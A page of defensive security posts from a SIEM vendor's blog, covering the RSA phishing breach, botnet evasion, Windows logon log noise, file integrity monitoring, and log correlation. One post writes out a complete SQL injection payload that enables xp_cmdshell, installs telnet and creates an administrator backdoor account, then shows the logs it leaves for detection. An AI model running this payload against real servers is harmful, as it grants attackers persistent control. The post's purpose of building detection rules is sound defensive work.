Posts tagged: 'logrhythm'

The following posts are associated with the tag you have selected. You may subscribe to the RSS feed for this tag to receive future updates relevant to the topic(s) of your interest.

http://blog.logrhythm.com/tags/logrhythm/feed
 
 

Closing the backdoor…

Closing the backdoor…

Today Mikko Hypponen from F-Secure announced they had retrieved and analyzed the excel file used to create a backdoor into RSA.

The attacker used a phishing attempt to send an excel file loaded with an embedded flash object to a recipient inside RSA.   Once opened, the excel file used an advanced 0-day exploit executed by the embedded Flash object to create backdoor that allows full remote access to the infected workstation.

Certainly this brings up the obvious warnings of not opening strange attachments, etc.  However, the reality is that spear phishing attempts work.  This wasn’t even a case of a highly sophisticated spear phishing attack (you can see the original email on Mikki’s blog entry listed above).   Examples of successful spear phishing, like the IMF breach and the Epsilon breach, highlight that we should not only continue to educate end users to recognize the red flags and the dangers of opening attachments, but be prepared for the inevitable human mistake.

If a user falls prey to a phishing attempt, and a 0-day exploit evades our endpoint security, what can we do?

  • In this case, the backdoor opened connections to servers at mincesure.com that have been used in previous espionage attacks.  Using an IP reputation list could have detected the initial connection and actions could have been taken to stop it.
  • What if they hadn’t used a known IP address?  If you can detect the IP address geo-location, you can see the location is Venezuela.  Using geo-location could have detected irregular data traffic being sent to a uncommon destination.
  • Or what if the location wasn’t interesting?  Once the backdoor was established, having a mechanism to recognize which user accounts access files on the workstation could have identified abuse the system or other accounts.
  • Maybe the user accounts had permission to the files.  In that case it was the sequence of access to the files after the new connection to an unknown location had been created that could have registered that an attack was occurring.

While it’s important to continually educate our end users on attacks they can help prevent, as security professionals we must have safeguards for when mistakes are made.  Although the attacks themselves may not be sophisticated, they can still bypass many of our traditional security solutions.  However, with behavior analysis and pattern recognition we should be able to detect and prevent these types of breaches.

 

Tags: , , , , , , , , , ,

0 Comments | Digital ForensicsIT OptimizationSecuritySIEM

 
 

Social Engineering Security Analysts

I just attended a briefing at Black Hat where Julia Wolf presented a topic titled “The Rustock Botnet Takedown.”  During the presentation some very interesting details and examples were given that described some of the ways the botnets operated to blend in with legitimate network traffic.  One that stood out to me was that the payloads that compromised machines downloaded were in password-protected RAR files with names such as “mybackup13.rar.”  In addition, the command and control servers (C&C) were placed in smaller cities within the United States, such as Kansas City or Scranton, PA.  In addition, instead of sending out spam directly over SMTP, which is easily detectable (look for any non-SMTP servers sending out traffic on port 25), some of the botnets discussed would utilize a web-based e-mail service, such as hotmail, allowing the spamming to look like a normal user accessing their hotmail account.  When a security analyst sees a RAR file named the way described above being downloaded from a US-based server, the analyst might consider it legitimate traffic.  Even if there is a little suspicion and the analyst decides to investigate the RAR file itself, it will be password protected.  The analyst is likely to look at the name of the RAR file, taking into consideration that a backup is something a user is likely to password protect, and decide not to investigate further.  After a compromise, as the zombie starts to spam, it will also look simply like a user accessing their hotmail account, something many security analysts are likely to not consider malicious in nature.  This all sort of reminds me of the premise behind social engineering.  The malware is being designed in a way that when looked at from several different angles, paints a picture for a security analyst that there is no actual threat, and in some cases each additional piece re-enforces a belief that things are okay.

So, how can these issues be addressed?  It’s unreasonable to assume a security analyst can investigate every time a hotmail server is hit, or any time a password protected file is downloaded.  Some automated correlation and/or alarming is in order.  One approach might be to simply alarm on any after-hours web-based e-mail access.  Another might be to build a correlation rule that looks for an indication of an exploit on the end point (process crashing for instance), followed very shortly by a new connection originating from the same host (from perimeter log data or flow data).  A threshold can be set to be around the average size of the payloads that are downloaded before the alarm fires, further limiting false-positives.  To look for a possible outbreak, one can take a baseline of average hotmail activity by determine about how many unique internal hosts access hotmail each day, then build an alarm that looks for a higher number of unique hosts hitting hotmail.

Overall the “Rustock Botnet Takedown” presentation was very interesting, and really got my wheels turning on how to detect this activity using correlation on enterprise log-data.  I’m looking forward to attending more sessions tomorrow, and will be blogging on other topics I find interesting.

Tags: , , , , , , ,

0 Comments | ComplianceDigital ForensicsGeneralIT OptimizationSecuritySIEM

 
 

The Nuances of Advanced Correlation Rules for Authentication Logs

AI Engine Rule BlockUsing the Advanced Intelligence (AI) Engine with LogRhythm allows users to correlate among all the logs in a network and alert when there is anything unusual in the log patterns.  My team, the Knowledge Engineers, is tasked with creating rules for advanced correlation and pattern recognition.  In the early days of the AI Engine, however, we ran across many unexpected challenges when building many of our prepackaged correlation rules.

Let’s start with an example:

One of our AI Engine rules is designed to detect a brute force attempt followed by a successful login on the same account.  First this rule looks to see if there are at least 5 authentication failures followed by a successful logon by that same origin login.  Seems simple enough, however in the AI Engine Beta program we discovered that this alert fires way too often.

Why is this?  Investigation into this issue showed us that the Windows logon process doesn’t produce logs exactly how we expected (or how we would like).  It turns out that if domain controllers in the environment are connected, then an authentication failure log is produced for every domain controller in the system.  This means that in a large environment, someone who types their password incorrectly only one time can produce as many authentication failure logs as there are domain controllers in the network running active directory.  In this case, this AI Engine rule, which is supposed to catch people logging into accounts that aren’t theirs, had a very high false positive rate during beta testing.

But that raised the question what about other windows authentication events, such as logons, so we decided to investigate further.  Testing logons just around our office yielded a wide variety of results.  When I logged in I produced 12 logs classified as Authentication Success and even 4 logs that were classified as Logoffs.  Another employee produced 49 logs with a single logon! Some of these logon logs are simply connections to shared resources like a network drive – not actual logons.  If a typical user of LogRhythm wants to investigate a specific employee, they will want to find the exact time the employee in question logged on, what they accessed, and what that person did with the objects they accessed.  This is a daunting task for a user that doesn’t have a deep understanding of Windows authentication events.

With the creation of the AI Engine rules we realized just how noisy authentication events actually are in Windows.  To address this issue, we have fine-tuned our common events and AI Engine rules to filter out all of this extra noise.  Because AI Engine rules can leverage all of LogRhythm’s extensive normalization, data enrichment and log parsing, they can be quickly modified for much greater accuracy.  And a typical LogRhythm user can investigate incidents without having to understand every individual detail of the Windows authentication process.  That is what every SIEM product user is looking for – a simple way to understand exactly what is happening in their network without needing a detailed knowledge of the authentication process.

Not only did this analysis help us create more refined AI Engine rules with fewer false positives, it gave us more refined guidance for normalization, making LogRhythm easier for our customers to use.

Tags: , , ,

0 Comments | General

 
 

FIM for Fonts: Using file integrity monitoring to protect against hidden threats

Almost everybody uses antivirus. Chances are that you have an antivirus running right now on the computer you are using to read this article. Antivirus is great – it gives us that warm, cozy, and protected feeling that we need when conducting our business on the internet. Let’s face it; the DMZ is not a safe place. The reason we all still use antivirus is the same reason why it’s not one hundred percent effective. New viruses, malware, Trojans, zero day exploits and attacks are discovered everyday that bypass existing AV scanners. The “bad guys” are usually one small step ahead of the “good guys”.

So what can we do? Well, we can start by brainstorming possible scenarios and objectives that the malware creators have in mind. Once a particular malicious piece of code has made its way into our environment it needs to live somewhere. Usually hiding in hidden folders or disguised as hidden/important system objects. Chances are that this malicious code might try to hide its tracks, delete audit trails, create default/super user accounts, modify the registry, modify linked libraries, lower file permissions, steal sensitive information, or maybe clone itself. In all these scenarios a specific signature is left, files are modified, created, deleted, or read – leaving evidence of its existence on your machine.

The second line of defense comes in the form of File Integrity monitoring (FIM). FIM is a key component to maintaining a secure environment and often a requirement for compliance standards such as PCI. Having FIM in place will frequently provide you with your first warning of a zero-day exploit and other stealthy attacks. An effective FIM tool should provide you with integrity information on file creations, sizes, permission changes, deletes, modifications and provide a means to track down the activity associated with the event.

Creating a useful and effective default file integrity monitoring policy requires a fair amount of research to ensure that all the critical folders and files are covered. One of the first steps that LogRhythm uses to create a default monitoring policy for a Windows machine is to create a script that will sweep the default install of a given OS, Windows 2008 R2, for instance, for various important folders and file types. In the first sweep we want to find all executables. Simply looking for all .exes on the host will not give you a complete list of all executable files on the box. Some common file extensions that can easily be overlooked are: .bat, .js, .ocx, and .vb. Instead, let’s take advantage of the fact that each file on a windows machine has a specific byte signature that determines the nature of the file at the byte level and is easily viewable in a hex editor. A way to perform a more comprehensive sweep is by opening each file on the host with a hex editor and looking for the “MZ” characters or “4D 5A” hex bits. These bytes are the signature of an executable file.

Now we have a starting point to begin our FIM policy. On a default install of Windows 2008 R2, a script like this will return over 25 different types of file extensions – one of them will be .fon extension for bitmapped fonts. To the untrained eye these files can easily be overlooked. The .fon extension was created by Microsoft, specifically for the native Windows 3.x library. Since files with the .fon extension are also executables, they have been known to be a great spot for malware to hide.

A few months ago Microsoft released a security bulletin MS01-091. This vulnerability in the OpenType font can allow an attacker who has successfully modified a font to install programs, read, modify or, delete files and create accounts with super user privileges.  Potential Malware?

FIM can be a powerful tool for detecting stealth attacks. Yes, it is important to use FIM to monitor high profile objects such as essential system/startup files, system32 files, authentication records, folders with logon rights information and user privilege data. But using FIM to monitor seemingly harmless or insignificant files can sometimes be the first warning sign in the event of an attack.

Tags: , , ,

0 Comments | Security

 
 

Using Correlation Rules To Perform Decentralized Threat Detection

Over the past few months while developing correlation rules for LogRhythm’s new Advanced Intelligence Engine, I started to think about a concept I’m calling “Decentralized Threat Detection.”  While antivirus and IDS systems generally look for a threat in a single, specific spot, individual files and network packets, respectively, Decentralized Threat Detection looks at behavior patterns surrounding a threat rather than the threat itself, expanding the detection capabilities away from a single point.  My colleague Zak Wolff’s recent blog post outlines some correlation ideas around this very concept.  Malware developers are getting better and better at writing code that most anti-virus software can’t detect.  A recent post in the SANS Handler Diary presents a perfect example.  In short, relying on AV or IDS/HIDS by themselves simply isn’t enough to adequately detect all malicious activity.

By applying the concept of Decentralized Threat Detection when building correlation rules for a SIEM, we’re looking for various malicious activity patterns shared across all types of attacks, malware, exploits, etc.  The specific technical details of the attack are irrelevant; we’re treating the attack as a black-box and looking for behavior patterns outside of the attack itself.  While Zak applied this concept to detecting malicious PDFs in his post, I’ll be taking a look at a certain type of SQL injection.

The mother of all vulnerabilities for a SQL Server back-ended web application is when non-sanitized data is passed to the database using a privileged account, allowing xp_cmdshell to be enabled and command-line commands run as a privileged user.  In a scenario like this, on a Windows Server 2008 system the following SQL statement will enable xp_cmdshell, install a telnet server, start the telnet service, create a backdooraccount, and add the account to both the TelnetClients group as well as the local administrators group.

master.dbo.sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC master.dbo.sp_configure ‘xp_cmdshell’, 1; RECONFIGURE; EXEC xp_cmdshell ‘ServerManagerCmd.exe -install Telnet-Server -allSubFeatures -resultPath C: TelnetServer.xml’; EXEC xp_cmdshell ‘sc config TlntSvr start= auto’; EXEC xp_cmdshell ‘sc start TlntSvr’; EXEC xp_cmdshell ‘net user backdooraccount password!1 /add’; EXEC xp_cmdshell  ’net localgroup TelnetClients /add backdooraccount’; EXEC xp_cmdshell ‘net localgroup administrators /add backdooraccount’;

Depending on the obfuscation used/required during the injection, this injection like many others can go unnoticed, although the server would now be effectively owned.

However, let’s take a step back from the injection/SQL statement/vulnerability itself, and start to look at the log trail this activity leaves behind.

(the above SQL statements were run manually for easy isolation of the relevent log data for analysis)

When xp_cmdshell is enabled, a log is written to the SQL Server ERRORLOG:

2011-04-01 11:09:20.74 spid52      Configuration option ‘xp_cmdshell’ changed from 0 to 1. Run the RECONFIGURE statement to install.

A very similar log is also written to the Windows Application Event Log:

Log Name:      Application

Source:        MSSQLSERVER

Date:          4/1/2011 11:09:20 AM

Event ID:      15457

Task Category: (2)

Level:         Information

Keywords:      Classic

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

Configuration option ‘xp_cmdshell’ changed from 0 to 1. Run the RECONFIGURE statement to install.

Event XML…

Already, without any visibility into the SQL injection itself, we can start to see some behavior surrounding the attack.  The remaining commands run by xp_cmdshell via the injection all leave a trail in the Event Log data, including the telnet service starting, and the backdoor account creation and addition to local groups (Windows Server 2008 logs are long, so jump past the samples below to get to the punchline).

Telnet Service Starting:

Log Name:      Application

Source:        Microsoft-Windows-TelnetServer

Date:          4/1/2011 12:08:52 PM

Event ID:      1000

Task Category: None

Level:         Information

Keywords:      Classic

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

Telnet Service was started successfully.

Event XML…

Backdoor account creation:

Log Name:      Security

Source:        Microsoft-Windows-Security-Auditing

Date:          4/1/2011 12:12:23 PM

Event ID:      4720

Task Category: User Account Management

Level:         Information

Keywords:      Audit Success

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

A user account was created.

Subject:

Security ID:                              WIN2008TESTSERVERAdministrator

Account Name:                       Administrator

Account Domain:                    WIN2008TESTSERVER

Logon ID:                 0x1d944

New Account:

Security ID:                              WIN2008TESTSERVERbackdooraccount

Account Name:                       backdooraccount

Account Domain:                    WIN2008TESTSERVER

Attributes:

SAM Account Name:               backdooraccount

Display Name:

User Principal Name:             -

Home Directory:

Home Drive:

Script Path:

Profile Path:

User Workstations:

Password Last Set:

Account Expires:

Primary Group ID:   513

Allowed To Delegate To:        -

Old UAC Value:                       0×0

New UAC Value:                     0×15

User Account Control:

Account Disabled

‘Password Not Required’ – Enabled

‘Normal Account’ – Enabled

User Parameters:

SID History:                             -

Logon Hours:                           All

Additional Information:

Privileges                                -

Event XML …

New Account added to Administrators group:

Log Name:      Security

Source:        Microsoft-Windows-Security-Auditing

Date:          4/1/2011 12:13:54 PM

Event ID:      4732

Task Category: Security Group Management

Level:         Information

Keywords:      Audit Success

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

A member was added to a security-enabled local group.

Subject:

Security ID:                              WIN2008TESTSERVERAdministrator

Account Name:                       Administrator

Account Domain:                    WIN2008TESTSERVER

Logon ID:                 0x1d944

Member:

Security ID:                              WIN2008TESTSERVERbackdooraccount

Account Name:                       -

Group:

Security ID:                              BUILTINAdministrators

Group Name:                          Administrators

Group Domain:                       Builtin

Additional Information:

Privileges:                               -

Event Xml…

 

Backdoor account logging in via tlntsess.exe process and being granted administrative privileges:

Log Name:      Security

Source:        Microsoft-Windows-Security-Auditing

Date:          4/1/2011 12:14:43 PM

Event ID:      4624

Task Category: Logon

Level:         Information

Keywords:      Audit Success

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

An account was successfully logged on.

Subject:

Security ID:                              LOCAL SERVICE

Account Name:                       LOCAL SERVICE

Account Domain:                    NT AUTHORITY

Logon ID:                 0x3e5

Logon Type:                                             2

New Logon:

Security ID:                              WIN2008TESTSERVERbackdooraccount

Account Name:                       backdooraccount

Account Domain:                    WIN2008TESTSERVER

Logon ID:                 0x4f1f1

Logon GUID:                            {00000000-0000-0000-0000-000000000000}

Process Information:

Process ID:                              0x3fc

Process Name:                        C:WindowsSystem32tlntsess.exe

Network Information:

Workstation Name:                WIN2008TESTSERVER

Source Network Address:       -

Source Port:                             -

Detailed Authentication Information:

Logon Process:                        Advapi

Authentication Package:         Negotiate

Transited Services:  -

Package Name (NTLM only):  -

Key Length:                             0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The authentication information fields provide detailed information about this specific logon request.

– Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.

– Transited services indicate which intermediate services have participated in this logon request.

– Package name indicates which sub-protocol was used among the NTLM protocols.

– Key length indicates the length of the generated session key. This will be 0 if no session key was requested.

Event XML…

Log Name:      Security

Source:        Microsoft-Windows-Security-Auditing

Date:          4/1/2011 12:14:43 PM

Event ID:      4672

Task Category: Special Logon

Level:         Information

Keywords:      Audit Success

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

Special privileges assigned to new logon.

Subject:

Security ID:                              WIN2008TESTSERVERbackdooraccount

Account Name:                       backdooraccount

Account Domain:                    WIN2008TESTSERVER

Logon ID:                 0x4f1f1

Privileges:                               SeSecurityPrivilege

SeTakeOwnershipPrivilege

SeLoadDriverPrivilege

SeBackupPrivilege

SeRestorePrivilege

SeDebugPrivilege

SeSystemEnvironmentPrivilege

SeImpersonatePrivilege

Event XML…

Post-attack activity also leaves a log trail.  If perimeter firewall/netflow data is being collected, this telnet session would also be seen in those logs, as well as any other access/authentication attempts made by the backdoor account across the infrastructure.

Now we can build some correlation rules that will detect the activity pattern demonstrated in this attack:

1) A rule that looks for a configuration changed followed shortly by a process starting on the same host would detect the xp_cmdshell being enabled followed by the telnet service starting.

2) A rule that looks for a new account being created followed by immediate authentication activity from that same account would detect the backdoor account creation followed by the account being used to telnet back into the system.

3) A rule that looks for a configuration change followed by network activity on a new port would fire when the xp_cmdshell is enabled on a host followed by firewall/netflow data showing telnet activity to the same host.

4) A rule that looks for a new account being created, followed shortly by access/authentication failure activity from the same account.

Add additional white-listing, such as allowed accounts, allowed processes and/or allowed network ports, and the correlation rules become even more effective while reducing false-positives.  And even simpler correlation rules can quickly be developed as well.

With a properly configured SIEM collecting data across the entire breadth and depth of an infrastructure, from the perimeter devices to the endpoint monitoring features and everything in between, the correlation rules outlined above would work wonderfully.  By forgetting about the SQL Injection itself, and focusing the correlation rules on malicious activity patterns surrounding the attacks, we no longer have to rely solely on single points of detection, and can achieve “Decentralized Threat Detection.”

Tags: , , ,

1 Comment | Security